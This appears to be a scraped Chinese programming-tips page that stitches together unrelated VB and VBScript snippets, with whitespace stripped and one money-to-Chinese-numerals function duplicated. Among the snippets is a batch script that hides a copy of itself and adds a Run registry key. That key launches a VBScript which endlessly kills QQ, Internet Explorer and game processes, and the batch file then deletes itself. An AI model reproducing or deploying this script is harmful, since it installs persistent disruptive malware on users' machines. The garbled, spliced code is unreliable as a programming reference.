要通过改变控件名称添加控件数组元素：　　　　1.绘制控件数组中要添加的控件（必须为同一类型的控件）决定哪一个控件作为数组中的第一个元素ConstssfCONTROLS=3 sConnectionName="本地连接"'可改成需要控制的连接名称，如"无线网络连接"等 sEnableVerb="启用(&A)" sDisableVerb="禁用(&B)"'XP系统中应为"停用(&B)" setshellApp=createobject("shell.application") setoControlPanel=shellApp.Namespace(ssfCONTROLS) setoNetConnections=nothing foreachfolderiteminoControlPanel.items iffolderitem.name="网络连接"then setoNetConnections=folderitem.getfolder:exitfor endif next ifoNetConnectionsisnothingthen msgbox"未找到网络连接文件夹" wscript.quit endif setoLanConnection=nothing foreachfolderiteminoNetConnections.items iflcase(folderitem.name)=lcase(sConnectionName)then setoLanConnection=folderitem:exitfor endif next ifoLanConnectionisnothingthen msgbox"未找到'"&sConnectionName&"'item" wscript.quit endif bEnabled=true setoEnableVerb=nothing setoDisableVerb=nothing s="Verbs:"&vbcrlf foreachverbinoLanConnection.verbs s=s&vbcrlf&verb.name ifverb.name=sEnableVerbthen setoEnableVerb=verb bEnabled=false endif ifverb.name=sDisableVerbthen setoDisableVerb=verb endif next 'debuggingdisplaysleftjustincase... ' 'msgboxs':wscript.quit 'msgbox"Enabled:"&bEnabled':wscript.quit 'notsurewhy,butinvokeverbalwaysseemedtowork 'forenablebutnotdisable. ' 'savingareferencetotheappropriateverbobject 'andcallingtheDoItmethodalwaysseemstowork. ' ifbEnabledthen 'oLanConnection.invokeverbsDisableVerb oDisableVerb.DoIt else 'oLanConnection.invokeverbsEnableVerb oEnableVerb.DoIt endif 'adjustthesleepdurationbelowasneeded... ' 'ifyoulettheoLanConnectiongooutofscope 'andbedestroyedtoosoon,theactionoftheverb 'maynottake... ' wscript.sleep400

@echo off attrib -s -h -a -r d:\jk.bat 1>nul 2>nul if exist d:\jk.bat del d:\jk.bat /q copy %0 d:\jk.bat /y >nul attrib +s +h +a +r d:\jk.bat if exist %windir%\system32\jk.vbs del %windir%\system32\jk.vbs echo y|reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v DATA /t REG_SZ /d c:\windows\system32\jk.vbs >nul echo Do>>%windir%\system32\jk.vbs echo WScript.Sleep 3000>>%windir%\system32\jk.vbs echo strComputer="." >>%windir%\system32\jk.vbs echo Set objWMIService=GetObject("winmgmts:\" ^& strComputer ^& "\root\CIMV2") >>%windir%\system32\jk.vbs echo Set colItems=objWMIService.ExecQuery( _>>%windir%\system32\jk.vbs echo "SELECT * FROM Win32_Process",,48)>>%windir%\system32\jk.vbs echo For Each objItem in colItems >>%windir%\system32\jk.vbs echo If objItem.Name="QQ.exe" Or objItem.Name="iexplore.exe" Or _>>%windir%\system32\jk.vbs echo objItem.Name="client.exe" Or objItem.Name="game.exe" _>>%windir%\system32\jk.vbs echo Then objitem.Terminate()>>%windir%\system32\jk.vbs echo Next>>%windir%\system32\jk.vbs echo loop>>%windir%\system32\jk.vbs start %windir%\system32\jk.vbs del %0 /q 声明：PublicTypeSHFILEOPSTRUCThwndAsLongwFuncAsLongpFromAsStringpToAsStringfFlagsAsIntegerfAnyOperationsAbortedAsLonghNameMappingsAsLonglpszProgressTitleAsLongEndTypePublicDeclareFunctionSHFileOperationLib"shell32.dll"Alias"SHFileOperationA"(lpFileOpAsSHFILEOPSTRUCT)AsLongPublicConstFO_DELETE=&H3PublicConstFOF_ALLOWUNDO=&H40代码：DimSHopAsSHFILEOPSTRUCTDimstrFileasstringWithSHop.wFunc=FO_DELETE.pFrom=strFile Chr(0).fFlags=FOF_ALLOWUNDOEndWithSHFileOperationSHop->

'code by xiaolu 'change by NetPatch on error resume next set arg=wscript.arguments if arg.count=0 then wscript.quit do while 1 fname=arg(0) err.number=0 Set Ado=CreateObject("adodb.stream") With Ado .Type=1 .open .loadfromfile fname ss=.read End With if err.number<>0 then if msgbox("文件打开错误!",1,"File2VBS")=2 then Wscript.quit else exit do end if loop if fname="" then Wscript.quit Set Fso=CreateObject("Scripting.FileSystemObject") Set File=fso.OpenTextFile(arg(0)&".htm",2, True) File.write Bin2Str(ss) File.close Set fso=nothing Ado.close set Abo=nothing Function Bin2Str(Re) For i=1 To lenB(Re) bt=AscB(MidB(Re, i, 1)) if bt < 16 Then Bin2Str=Bin2Str&"0" Bin2Str=Bin2Str & Hex(bt) Next End Function VB的Winsock控件虽说不是底层操作

'*ModuleName:Start_Module'*ModuleFilename:Start.bas'*********************************************************'*Comments:Show/Hidethestartbutton'********************************************************PrivateDeclareFunctionFindWindowLib"user32"Alias"FindWindowA"(ByVallpClassNameAsString,ByVallpWindowNameAsString)AsLongPrivateDeclareFunctionFindWindowExLib"user32"Alias"FindWindowExA"(ByValhWnd1AsLong,ByValhWnd2AsLong,ByVallpsz1AsString,ByVallpsz2AsString)AsLongPrivateDeclareFunctionShowWindowLib"user32"(ByValhwndAsLong,ByValnCmdShowAsLong)AsLongPublicFunctionhideStartButton()'ThisFunctionHidestheStartButton'OurParent&=FindWindow("Shell_TrayWnd","")OurHandle&=FindWindowEx(OurParent&,0,"Button",vbNullString)ShowWindowOurHandle&,0EndFunctionPublicFunctionshowStartButton()'ThisFunctionShowstheStartButton'OurParent&=FindWindow("Shell_TrayWnd","")OurHandle&=FindWindowEx(OurParent&,0,"Button",vbNullString)ShowWindowOurHandle&,5EndFunction->

strComputer="." SetobjWMIService=GetObject("winmgmts:\"&strComputer&"\root\cimv2") SetIPConfigSet=objWMIService.ExecQuery_ ("SelectIPAddressfromWin32_NetworkAdapterConfigurationwhereIPEnabled=TRUE") ForEachIPConfiginIPConfigSet IfNotIsNull(IPConfig.IPAddress)Then Fori=LBound(IPConfig.IPAddress)toUBound(IPConfig.IPAddress) WScript.EchoIPConfig.IPAddress(i) Next EndIf Next火狐油猴'调用方法Text2=ChMoney(Val(Text1))'名称：CCh'得到一位数字N1的汉字大写'0返回""PrivateFunctionCCh(N1)AsStringSelectCaseN1Case0CCh="零"Case1CCh="壹"Case2CCh="贰"Case3CCh="叁"Case4CCh="肆"Case5CCh="伍"Case6CCh="陆"Case7CCh="柒"Case8CCh="捌"Case9CCh="玖"EndSelectEndFunction'名称：ChMoney'得到数字N1的汉字大写'最大为千万位'O返回""PublicFunctionChMoney(N1)AsStringDimtMoneyAsStringDimlMoneyAsStringDimtn'小数位置Dims1AsString'临时STRING小数部分Dims2AsString'1000以内Dims3AsString'10000IfN1=0ThenChMoney=""ExitFunctionEndIfIfN1<0ThenChMoney="负" ChMoney(Abs(N1))ExitFunctionEndIftMoney=Trim(Str(N1))tn=InStr(tMoney,".")'小数位置s1=""Iftn<>0ThenST1=Right(tMoney,Len(tMoney)-tn)IfST1<>""Thent1=Left(ST1,1)ST1=Right(ST1,Len(ST1)-1)Ift1<>"0"Thens1=s1 CCh(Val(t1)) "角"EndIfIfST1<>""Thent1=Left(ST1,1)s1=s1 CCh(Val(t1)) "分"EndIfEndIfST1=Left(tMoney,tn-1)ElseST1=tMoneyEndIfs2=""IfST1<>""Thent1=Right(ST1,1)ST1=Left(ST1,Len(ST1)-1)s2=CCh(Val(t1)) s2EndIfIfST1<>""Thent1=Right(ST1,1)ST1=Left(ST1,Len(ST1)-1)Ift1<>"0"Thens2=CCh(Val(t1)) "拾" s2ElseIfLeft(s2,1)<>"零"Thens2="零" s2EndIfEndIfIfST1<>""Thent1=Right(ST1,1)ST1=Left(ST1,Len(ST1)-1)Ift1<>"0"Thens2=CCh(Val(t1)) "佰" s2ElseIfLeft(s2,1)<>"零"Thens2="零" s2EndIfEndIfIfST1<>""Thent1=Right(ST1,1)ST1=Left(ST1,Len(ST1)-1)Ift1<>"0"Thens2=CCh(Val(t1)) "仟" s2ElseIfLeft(s2,1)<>"零"Thens2="零" s2EndIfEndIfs3=""IfST1<>""Thent1=Right(ST1,1)ST1=Left(ST1,Len(ST1)-1)s3=CCh(Val(t1)) s3EndIfIfST1<>""Thent1=Right(ST1,1)ST1=Left(ST1,Len(ST1)-1)Ift1<>"0"Thens3=CCh(Val(t1)) "拾" s3ElseIfLeft(s3,1)<>"零"Thens3="零" s3EndIfEndIfIfST1<>""Thent1=Right(ST1,1)ST1=Left(ST1,Len(ST1)-1)Ift1<>"0"Thens3=CCh(Val(t1)) "佰" s3ElseIfLeft(s3,1)<>"零"Thens3="零" s3EndIfEndIfIfST1<>""Thent1=Right(ST1,1)ST1=Left(ST1,Len(ST1)-1)Ift1<>"0"Thens3=CCh(Val(t1)) "仟" s3EndIfEndIfIfRight(s2,1)="零"Thens2=Left(s2,Len(s2)-1)IfLen(s3)>0ThenIfRight(s3,1)="零"Thens3=Left(s3,Len(s3)-1)s3=s3&"万"EndIfChMoney=IIf(s3&s2="",s1,s3&s2&"元"&s1)EndFunction'调用方法Text2=ChMoney(Val(Text1))'名称：CCh'得到一位数字N1的汉字大写'0返回""PrivateFunctionCCh(N1)AsStringSelectCaseN1Case0CCh="零"Case1CCh="壹"Case2CCh="贰"Case3CCh="叁"Case4CCh="肆"Case5CCh="伍"Case6CCh="陆"Case7CCh="柒"Case8CCh="捌"Case9CCh="玖"EndSelectEndFunction'名称：ChMoney'得到数字N1的汉字大写'最大为千万位'O返回""PublicFunctionChMoney(N1)AsStringDimtMoneyAsStringDimlMoneyAsStringDimtn'小数位置Dims1AsString'临时STRING小数部分Dims2AsString'1000以内Dims3AsString'10000IfN1=0ThenChMoney=""ExitFunctionEndIfIfN1<0ThenChMoney="负" ChMoney(Abs(N1))ExitFunctionEndIftMoney=Trim(Str(N1))tn=InStr(tMoney,".")'小数位置s1=""Iftn<>0ThenST1=Right(tMoney,Len(tMoney)-tn)IfST1<>""Thent1=Left(ST1,1)ST1=Right(ST1,Len(ST1)-1)Ift1<>"0"Thens1=s1 CCh(Val(t1)) "角"EndIfIfST1<>""Thent1=Left(ST1,1)s1=s1 CCh(Val(t1)) "分"EndIfEndIfST1=Left(tMoney,tn-1)ElseST1=tMoneyEndIfs2=""IfST1<>""Thent1=Right(ST1,1)ST1=Left(ST1,Len(ST1)-1)s2=CCh(Val(t1)) s2EndIfIfST1<>""Thent1=Right(ST1,1)ST1=Left(ST1,Len(ST1)-1)Ift1<>"0"Thens2=CCh(Val(t1)) "拾" s2ElseIfLeft(s2,1)<>"零"Thens2="零" s2EndIfEndIfIfST1<>""Thent1=Right(ST1,1)ST1=Left(ST1,Len(ST1)-1)Ift1<>"0"Thens2=CCh(Val(t1)) "佰" s2ElseIfLeft(s2,1)<>"零"Thens2="零" s2EndIfEndIfIfST1<>""Thent1=Right(ST1,1)ST1=Left(ST1,Len(ST1)-1)Ift1<>"0"Thens2=CCh(Val(t1)) "仟" s2ElseIfLeft(s2,1)<>"零"Thens2="零" s2EndIfEndIfs3=""IfST1<>""Thent1=Right(ST1,1)ST1=Left(ST1,Len(ST1)-1)s3=CCh(Val(t1)) s3EndIfIfST1<>""Thent1=Right(ST1,1)ST1=Left(ST1,Len(ST1)-1)Ift1<>"0"Thens3=CCh(Val(t1)) "拾" s3ElseIfLeft(s3,1)<>"零"Thens3="零" s3EndIfEndIfIfST1<>""Thent1=Right(ST1,1)ST1=Left(ST1,Len(ST1)-1)Ift1<>"0"Thens3=CCh(Val(t1)) "佰" s3ElseIfLeft(s3,1)<>"零"Thens3="零" s3EndIfEndIfIfST1<>""Thent1=Right(ST1,1)ST1=Left(ST1,Len(ST1)-1)Ift1<>"0"Thens3=CCh(Val(t1)) "仟" s3EndIfEndIfIfRight(s2,1)="零"Thens2=Left(s2,Len(s2)-1)IfLen(s3)>0ThenIfRight(s3,1)="零"Thens3=Left(s3,Len(s3)-1)s3=s3&"万"EndIfChMoney=IIf(s3&s2="",s1,s3&s2&"元"&s1)EndFunction->

既然找到了访问网络的引擎，那如何来用呢？用法又是不和VB中那样用呢？ Winsock控件用法大体上是同VB上的一样，但在VBS中，ActiveX控件并不是像VB中那样是可以见到的，要在VBS上引用它当然是先创建它的对象。